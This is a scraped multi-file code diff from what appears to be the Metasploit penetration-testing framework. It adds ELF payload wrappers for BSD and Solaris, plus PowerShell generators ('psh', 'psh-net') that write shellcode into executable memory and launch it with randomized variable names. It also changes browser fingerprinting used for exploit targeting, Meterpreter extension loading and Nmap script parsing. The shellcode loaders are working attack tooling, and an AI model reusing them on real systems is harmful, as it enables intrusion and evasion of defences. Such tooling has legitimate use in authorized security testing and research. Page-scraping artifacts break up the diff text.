payload = exploit_choose_payload(mod, target)
|
||||
payload = Exploit.choose_payload(mod, target)
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -236,7 +236,7 @@ class Exploit
|
|||
#
|
||||
# Picks a reasonable payload and minimally configures it
|
||||
#
|
||||
def exploit_choose_payload(mod, target)
|
||||
def self.choose_payload(mod, target)
|
||||
|
||||
# Choose either the real target or an invalid address
|
||||
# This is used to determine the LHOST value
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# $Id$
|
||||
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
|
||||
##
|
||||
|
||||
###
|
||||
|
@ -84,6 +84,14 @@ require 'digest/sha1'
|
|||
return to_osx_x86_macho(framework, code)
|
||||
end
|
||||
|
||||
if(plat.index(Msf::Module::Platform::BSD))
|
||||
return to_bsd_x86_elf(framework, code)
|
||||
end
|
||||
|
||||
if(plat.index(Msf::Module::Platform::Solaris))
|
||||
return to_solaris_x86_elf(framework, code)
|
||||
end
|
||||
|
||||
# XXX: Add remaining x86 systems here
|
||||
end
|
||||
|
||||
|
@ -595,42 +603,17 @@ require 'digest/sha1'
|
|||
return macho
|
||||
end
|
||||
|
||||
#
|
||||
# Create a 64-bit Linux ELF containing the payload provided in +code+
|
||||
#
|
||||
def self.to_linux_x64_elf(framework, code, opts={})
|
||||
set_template_default(opts, "template_x64_linux.bin")
|
||||
|
||||
elf = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
elf = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
#Append shellcode
|
||||
elf << code
|
||||
|
||||
#Modify size
|
||||
elf[96, 8] = [120 + code.length].pack('Q') #p_filesz
|
||||
elf[104,8] = [120 + code.length].pack('Q') #p_memsz
|
||||
|
||||
return elf
|
||||
end
|
||||
|
||||
#
|
||||
# Create a 32-bit Linux ELF containing the payload provided in +code+
|
||||
#
|
||||
# For the default template, this method just appends the payload. For
|
||||
# user-provided templates, modifies the header to mark all executable
|
||||
# Create an ELF executable containing the payload provided in +code+
|
||||
# For the default template, this method just appends the payload, checks if
|
||||
# the template is 32 or 64 bit and adjusts the offsets accordingly
|
||||
# For user-provided templates, modifies the header to mark all executable
|
||||
# segments as writable and overwrites the entrypoint (usually _start) with
|
||||
# the payload.
|
||||
#
|
||||
def self.to_linux_x86_elf(framework, code, opts={})
|
||||
unless opts[:template]
|
||||
default = true
|
||||
end
|
||||
def self.to_exe_elf(framework, opts, template, code)
|
||||
|
||||
# Allow the user to specify their own template
|
||||
set_template_default(opts, "template_x86_linux.bin")
|
||||
set_template_default(opts, template)
|
||||
|
||||
# The old way to do it is like other formats, just overwrite a big
|
||||
# block of rwx mem with our shellcode.
|
||||
|
@ -638,18 +621,40 @@ require 'digest/sha1'
|
|||
#co = elf.index( " " * 512 )
|
||||
#elf[bo, 2048] = [code].pack('a2048') if bo
|
||||
|
||||
if default
|
||||
# The new template is just an ELF header with its entry point set to
|
||||
# the end of the file, so just append shellcode to it and fixup
|
||||
# p_filesz and p_memsz in the header for a working ELF executable.
|
||||
elf = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
elf = fd.read(fd.stat.size)
|
||||
}
|
||||
# The new template is just an ELF header with its entry point set to
|
||||
# the end of the file, so just append shellcode to it and fixup
|
||||
# p_filesz and p_memsz in the header for a working ELF executable.
|
||||
elf = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
elf = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
elf << code
|
||||
elf[0x44,4] = [elf.length + code.length].pack('V')
|
||||
elf[0x48,4] = [elf.length + code.length].pack('V')
|
||||
elf << code
|
||||
|
||||
# Check EI_CLASS to determine if the header is 32 or 64 bit
|
||||
# Use the proper offsets and pack size
|
||||
case elf[4]
|
||||
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
|
||||
elf[0x44,4] = [elf.length].pack('V') #p_filesz
|
||||
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
|
||||
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
|
||||
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
|
||||
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
|
||||
else
|
||||
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
|
||||
end
|
||||
|
||||
return elf
|
||||
end
|
||||
|
||||
# Create a 32-bit Linux ELF containing the payload provided in +code+
|
||||
def self.to_linux_x86_elf(framework, code, opts={})
|
||||
unless opts[:template]
|
||||
default = true
|
||||
end
|
||||
|
||||
if default
|
||||
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
|
||||
else
|
||||
# If this isn't our normal template, we have to do some fancy
|
||||
# header patching to mark the .text section rwx before putting our
|
||||
|
@ -684,23 +689,26 @@ require 'digest/sha1'
|
|||
return elf
|
||||
end
|
||||
|
||||
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
|
||||
def self.to_bsd_x86_elf(framework, code, opts={})
|
||||
elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
|
||||
return elf
|
||||
end
|
||||
|
||||
# Create a 32-bit Solaris ELF containing the payload provided in +code+
|
||||
def self.to_solaris_x86_elf(framework, code, opts={})
|
||||
elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
|
||||
return elf
|
||||
end
|
||||
|
||||
# Create a 64-bit Linux ELF containing the payload provided in +code+
|
||||
def self.to_linux_x64_elf(framework, code, opts={})
|
||||
elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
|
||||
return elf
|
||||
end
|
||||
|
||||
def self.to_linux_armle_elf(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own template
|
||||
set_template_default(opts, "template_armle_linux.bin")
|
||||
|
||||
elf = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
elf = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
# The template is just an ELF header with its entrypoint set to the
|
||||
# end of the file, so just append shellcode to it and fixup p_filesz
|
||||
# and p_memsz in the header for a working ELF executable.
|
||||
elf << code
|
||||
elf[0x44,4] = [elf.length + code.length].pack('V')
|
||||
elf[0x48,4] = [elf.length + code.length].pack('V')
|
||||
|
||||
elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
|
||||
return elf
|
||||
end
|
||||
|
||||
|
@ -1070,6 +1078,95 @@ End Sub
|
|||
source
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "Set-StrictMode -Version 2\r\n"
|
||||
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
|
||||
psh << "namespace #{var_kernel32} {\r\n"
|
||||
psh << "public class func {\r\n"
|
||||
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
|
||||
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
|
||||
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
|
||||
psh << "} }\r\n"
|
||||
psh << "\"@\r\n\r\n"
|
||||
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
|
||||
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
|
||||
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
|
||||
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
|
||||
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
|
||||
|
||||
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
|
||||
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
|
||||
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
|
||||
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
|
||||
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
|
||||
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
|
||||
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts={})
|
||||
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
code = code.unpack("C*")
|
||||
|
||||
# Add wrapper script
|
||||
psh = "$#{var_code} = @\"\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
|
||||
psh << "\"@\r\n"
|
||||
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
|
||||
# Set up the payload string
|
||||
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
psh << "$#{var_size} = 0x1000\r\n"
|
||||
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
|
||||
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
|
||||
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
|
||||
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
|
||||
|
||||
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts={})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
@ -1816,13 +1913,19 @@ End Sub
|
|||
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
|
||||
output = Msf::Util::EXE.to_jsp_war(exe)
|
||||
|
||||
when 'psh'
|
||||
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
|
||||
|
||||
when 'psh-net'
|
||||
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
|
||||
|
||||
end
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
|
||||
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -206,7 +206,7 @@ module Net; module SSH; module Transport
|
|||
algorithms[:compression_client] = algorithms[:compression_server] = algorithms[:compression]
|
||||
algorithms[:language_client ] = algorithms[:language_server ] = algorithms[:language]
|
||||
|
||||
if !options.key?(:host_key)
|
||||
if !options.key?(:host_key) and options[:config]
|
||||
# make sure the host keys are specified in preference order, where any
|
||||
# existing known key for the host has preference.
|
||||
|
||||
|
|
|
@ -13,8 +13,10 @@ module Net; module SSH; module Verifiers
|
|||
def verify(arguments)
|
||||
options = arguments[:session].options
|
||||
host = options[:host_key_alias] || arguments[:session].host_as_string
|
||||
matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options)
|
||||
|
||||
matches = []
|
||||
if options[:config]
|
||||
matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options)
|
||||
end
|
||||
# we've never seen this host before, so just automatically add the key.
|
||||
# not the most secure option (since the first hit might be the one that
|
||||
# is hacked), but since almost nobody actually compares the key
|
||||
|
@ -22,7 +24,9 @@ module Net; module SSH; module Verifiers
|
|||
# security.
|
||||
if matches.empty?
|
||||
ip = arguments[:session].peer[:ip]
|
||||
Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options)
|
||||
if options[:config]
|
||||
Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options)
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -43,8 +47,10 @@ module Net; module SSH; module Verifiers
|
|||
def process_cache_miss(host, args)
|
||||
exception = HostKeyMismatch.new("fingerprint #{args[:fingerprint]} does not match for #{host.inspect}")
|
||||
exception.data = args
|
||||
exception.callback = Proc.new do
|
||||
Net::SSH::KnownHosts.add(host, args[:key], args[:session].options)
|
||||
if options[:config]
|
||||
exception.callback = Proc.new do
|
||||
Net::SSH::KnownHosts.add(host, args[:key], args[:session].options)
|
||||
end
|
||||
end
|
||||
raise exception
|
||||
end
|
||||
|
|
|
@ -43,6 +43,7 @@ window.os_detect.getVersion = function(){
|
|||
var ua_is_lying = false;
|
||||
|
||||
var version = "";
|
||||
var unknown_fingerprint = null;
|
||||
|
||||
//--
|
||||
// Client
|
||||
|
@ -83,6 +84,7 @@ window.os_detect.getVersion = function(){
|
|||
case "10108": // "Opera_952_10108_en.exe"
|
||||
case "10467": // "Opera_962_en_Setup.exe"
|
||||
case "10476": // Opera 9.63 / Windows XP
|
||||
case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
|
||||
os_name = oses_windows;
|
||||
break;
|
||||
case "2480": // Opera 9.64 / FreeBSD 7.0
|
||||
|
@ -116,9 +118,9 @@ window.os_detect.getVersion = function(){
|
|||
// Opera 11.61 / Windows XP
|
||||
// Opera 11.61 / Debian 4.0 (Etch)
|
||||
break;
|
||||
//default:
|
||||
// document.write(opera.buildNumber('inconspicuous'));
|
||||
// break;
|
||||
default:
|
||||
unknown_fingerprint = opera.buildNumber('inconspicuous');
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (typeof window.onmousewheel != 'undefined') {
|
||||
|
@ -187,7 +189,25 @@ window.os_detect.getVersion = function(){
|
|||
// future. This works for multi/browser/mozilla_compareto against
|
||||
// Firefox and Mozilla, so it's probably good enough for now.
|
||||
ua_name = clients_ff;
|
||||
if (document.readyState) {
|
||||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||
// of these.
|
||||
if ('mozConnection' in navigator) {
|
||||
ua_version = "12.0";
|
||||
} else if ('mozVibrate' in navigator) {
|
||||
ua_version = "11.0";
|
||||
} else if ('mozCancelFullScreen' in document) {
|
||||
ua_version = "9.0";
|
||||
} else if ('insertAdjacentHTML' in document.body) {
|
||||
ua_version = "8.0";
|
||||
} else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
|
||||
ua_version = "7.0";
|
||||
} else if ('MozBlobBuilder' in window) {
|
||||
ua_version = "6.0";
|
||||
} else if ('isGenerator' in Function) {
|
||||
ua_version = "5.0";
|
||||
} else if ('isArray' in Array) {
|
||||
ua_version = "4.0";
|
||||
} else if (document.readyState) {
|
||||
ua_version = "3.6";
|
||||
} else if (String.trimRight) {
|
||||
ua_version = "3.5";
|
||||
|
@ -598,6 +618,8 @@ window.os_detect.getVersion = function(){
|
|||
}
|
||||
break;
|
||||
case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch)
|
||||
case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
|
||||
case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Fedora"; break;
|
||||
default:
|
||||
version = this.searchVersion("Firefox", navigator.userAgent);
|
||||
// Verify whether the ua string is lying by checking if it contains
|
||||
|
@ -753,10 +775,17 @@ window.os_detect.getVersion = function(){
|
|||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016443":
|
||||
// IE 9.0.8112.16421, Windows 7 Polish
|
||||
// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
|
||||
//default:
|
||||
// alert(version);
|
||||
// break;
|
||||
default:
|
||||
unknown_fingerprint = version;
|
||||
break;
|
||||
}
|
||||
|
||||
if (!ua_version) {
|
||||
|
|
|
@ -75,14 +75,6 @@ module Rex
|
|||
when "port"
|
||||
collect_port_data
|
||||
@state[:port] = {}
|
||||
when "script"
|
||||
if in_tag("host")
|
||||
if in_tag("port")
|
||||
@state[:portscripts] = {}
|
||||
else
|
||||
@state[:hostscripts] = {}
|
||||
end
|
||||
end
|
||||
when "host" # Roll everything up now
|
||||
collect_host_data
|
||||
host_object = report_host &block
|
||||
|
@ -146,28 +138,28 @@ module Rex
|
|||
@state[:hostname] = attr_hash(attrs)["name"]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def record_host_script(attrs)
|
||||
return unless in_tag("host")
|
||||
return if in_tag("port")
|
||||
temp_hash = attr_hash(attrs)
|
||||
@state[:hostscripts] ||= {}
|
||||
@state[:hostscripts].merge! temp_hash
|
||||
temp_hash[:addresses] = @state[:addresses]
|
||||
db.emit(:host_script,temp_hash,&block) if block
|
||||
|
||||
if temp_hash["id"] and temp_hash["output"]
|
||||
@state[:scripts] ||= []
|
||||
@state[:scripts] << { temp_hash["id"] => temp_hash["output"] }
|
||||
end
|
||||
end
|
||||
|
||||
def record_port_script(attrs)
|
||||
return unless in_tag("host")
|
||||
return unless in_tag("port")
|
||||
temp_hash = attr_hash(attrs)
|
||||
@state[:portscripts] ||= {}
|
||||
@state[:portscripts].merge! temp_hash
|
||||
temp_hash[:addresses] = @state[:addresses]
|
||||
temp_hash[:port] = @state[:port]
|
||||
db.emit(:port_script,temp_hash,&block) if block
|
||||
if temp_hash["id"] and temp_hash["output"]
|
||||
@state[:port][:scripts] ||= []
|
||||
@state[:port][:scripts] << { temp_hash["id"] => temp_hash["output"] }
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def record_port_service(attrs)
|
||||
return unless in_tag("host")
|
||||
return unless in_tag("port")
|
||||
|
@ -258,6 +250,9 @@ module Rex
|
|||
if @state[:trace] and @state[:trace].has_key?(:hops)
|
||||
@report_data[:traceroute] = @state[:trace]
|
||||
end
|
||||
if @state[:scripts]
|
||||
@report_data[:scripts] = @state[:scripts]
|
||||
end
|
||||
end
|
||||
|
||||
def collect_port_data
|
||||
|
@ -288,6 +283,8 @@ module Rex
|
|||
extra[1] = v
|
||||
when "extrainfo"
|
||||
extra[2] = v
|
||||
when :scripts
|
||||
port_hash[:scripts] = v
|
||||
end
|
||||
end
|
||||
port_hash[:info] = extra.compact.join(" ") unless extra.empty?
|
||||
|
@ -339,9 +336,24 @@ module Rex
|
|||
|
||||
def report_host(&block)
|
||||
if host_is_okay
|
||||
host_object = db_report(:host, @report_data.merge(
|
||||
:workspace => @args[:wspace] ) )
|
||||
scripts = @report_data.delete(:scripts) || []
|
||||
host_object = db_report(:host, @report_data.merge( :workspace => @args[:wspace] ) )
|
||||
db.emit(:address,@report_data[:host],&block) if block
|
||||
|
||||
scripts.each do |script|
|
||||
script.each_pair do |k,v|
|
||||
ntype =
|
||||
nse_note = {
|
||||
:workspace => host_object.workspace,
|
||||
:host => host_object,
|
||||
:type => "nmap.nse.#{k}.host",
|
||||
:data => { 'output' => v },
|
||||
:update => :unique_data
|
||||
}
|
||||
db_report(:note, nse_note)
|
||||
end
|
||||
end
|
||||
|
||||
host_object
|
||||
end
|
||||
end
|
||||
|
@ -352,7 +364,23 @@ module Rex
|
|||
return if @report_data[:ports].empty?
|
||||
reported = []
|
||||
@report_data[:ports].each do |svc|
|
||||
reported << db_report(:service, svc.merge(:host => host_object))
|
||||
scripts = svc.delete(:scripts) || []
|
||||
svc_obj = db_report(:service, svc.merge(:host => host_object))
|
||||
scripts.each do |script|
|
||||
script.each_pair do |k,v|
|
||||
ntype =
|
||||
nse_note = {
|
||||
:workspace => host_object.workspace,
|
||||
:host => host_object,
|
||||
:service => svc_obj,
|
||||
:type => "nmap.nse.#{k}." + (svc[:proto] || "tcp") +".#{svc[:port]}",
|
||||
:data => { 'output' => v },
|
||||
:update => :unique_data
|
||||
}
|
||||
db_report(:note, nse_note)
|
||||
end
|
||||
end
|
||||
reported << svc_obj
|
||||
end
|
||||
reported
|
||||
end
|
||||
|
|
|
@ -104,6 +104,7 @@ class Client
|
|||
self.alive = true
|
||||
self.target_id = opts[:target_id]
|
||||
self.capabilities = opts[:capabilities] || {}
|
||||
self.commands = []
|
||||
|
||||
|
||||
self.conn_id = opts[:conn_id]
|
||||
|
@ -281,6 +282,7 @@ class Client
|
|||
# if a matching extension alias exists for the supplied symbol.
|
||||
#
|
||||
def method_missing(symbol, *args)
|
||||
#$stdout.puts("method_missing: #{symbol}")
|
||||
self.ext_aliases.aliases[symbol.to_s]
|
||||
end
|
||||
|
||||
|
@ -294,7 +296,9 @@ class Client
|
|||
# Loads the client half of the supplied extension and initializes it as a
|
||||
# registered extension that can be reached through client.ext.[extension].
|
||||
#
|
||||
def add_extension(name)
|
||||
def add_extension(name, commands=[])
|
||||
self.commands |= commands
|
||||
|
||||
# Check to see if this extension has already been loaded.
|
||||
if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
|
||||
old = Rex::Post::Meterpreter::Extensions.constants
|
||||
|
@ -341,6 +345,18 @@ class Client
|
|||
#
|
||||
def register_extension_alias(name, ext)
|
||||
self.ext_aliases.aliases[name] = ext
|
||||
# Whee! Syntactic sugar, where art thou?
|
||||
#
|
||||
# Create an instance method on this object called +name+ that returns
|
||||
# +ext+. We have to do it this way instead of simply
|
||||
# self.class.class_eval so that other meterpreter sessions don't get
|
||||
# extension methods when this one does
|
||||
(class << self; self; end).class_eval do
|
||||
define_method(name.to_sym) do
|
||||
ext
|
||||
end
|
||||
end
|
||||
ext
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -445,10 +461,15 @@ class Client
|
|||
# Flag indicating whether to hex-encode UTF-8 file names and other strings
|
||||
#
|
||||
attr_accessor :encode_unicode
|
||||
#
|
||||
# A list of the commands
|
||||
#
|
||||
attr_reader :commands
|
||||
|
||||
protected
|
||||
attr_accessor :parser, :ext_aliases # :nodoc:
|
||||
attr_writer :ext, :sock # :nodoc:
|
||||
attr_writer :commands # :nodoc:
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
|
|
@ -121,7 +121,12 @@ class ClientCore < Extension
|
|||
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
||||
end
|
||||
|
||||
return true
|
||||
commands = []
|
||||
response.each(TLV_TYPE_METHOD) { |c|
|
||||
commands << c.value
|
||||
}
|
||||
|
||||
return commands
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -150,13 +155,12 @@ class ClientCore < Extension
|
|||
path = ::File.expand_path(path)
|
||||
|
||||
# Load the extension DLL
|
||||
if (load_library(
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk']))
|
||||
client.add_extension(mod)
|
||||
end
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
client.add_extension(mod, commands)
|
||||
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -22,7 +22,7 @@ class Sniffer < Extension
|
|||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
{
|
||||
'name' => 'sniffer',
|
||||
'ext' => self
|
||||
},
|
||||
|
@ -42,19 +42,19 @@ class Sniffer < Extension
|
|||
ikeys = %W{idx name description type mtu wireless usable dhcp}
|
||||
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
|
||||
ifaces << iface
|
||||
}
|
||||
}
|
||||
return ifaces
|
||||
end
|
||||
|
||||
|
||||
# Start a packet capture on an opened interface
|
||||
def capture_start(intf,maxp=200000,filter="")
|
||||
request = Packet.create_request('sniffer_capture_start')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0
|
||||
response = client.send_request(request)
|
||||
response = client.send_request(request)
|
||||
end
|
||||
|
||||
|
||||
# Stop an active packet capture
|
||||
def capture_stop(intf)
|
||||
request = Packet.create_request('sniffer_capture_stop')
|
||||
|
@ -65,7 +65,7 @@ class Sniffer < Extension
|
|||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Retrieve stats about a current capture
|
||||
def capture_stats(intf)
|
||||
request = Packet.create_request('sniffer_capture_stats')
|
||||
|
@ -87,7 +87,7 @@ class Sniffer < Extension
|
|||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Buffer the current capture to a readable buffer
|
||||
def capture_dump(intf)
|
||||
request = Packet.create_request('sniffer_capture_dump')
|
||||
|
@ -96,21 +96,22 @@ class Sniffer < Extension
|
|||
{
|
||||
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
:linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID),
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Retrieve the packet data for the specified capture
|
||||
def capture_dump_read(intf, len=16384)
|
||||
request = Packet.create_request('sniffer_capture_dump_read')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
|
||||
response = client.send_request(request, 3600)
|
||||
{
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
:data => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
|
@ -212,12 +212,12 @@ class Process < Rex::Post::Process
|
|||
end
|
||||
|
||||
#
|
||||
# Returns an array of processes with hash objects that have
|
||||
# keys for 'pid', 'parentid', 'name', 'path', 'user' and 'arch'.
|
||||
# Returns a ProcessList of processes as Hash objects with keys for 'pid',
|
||||
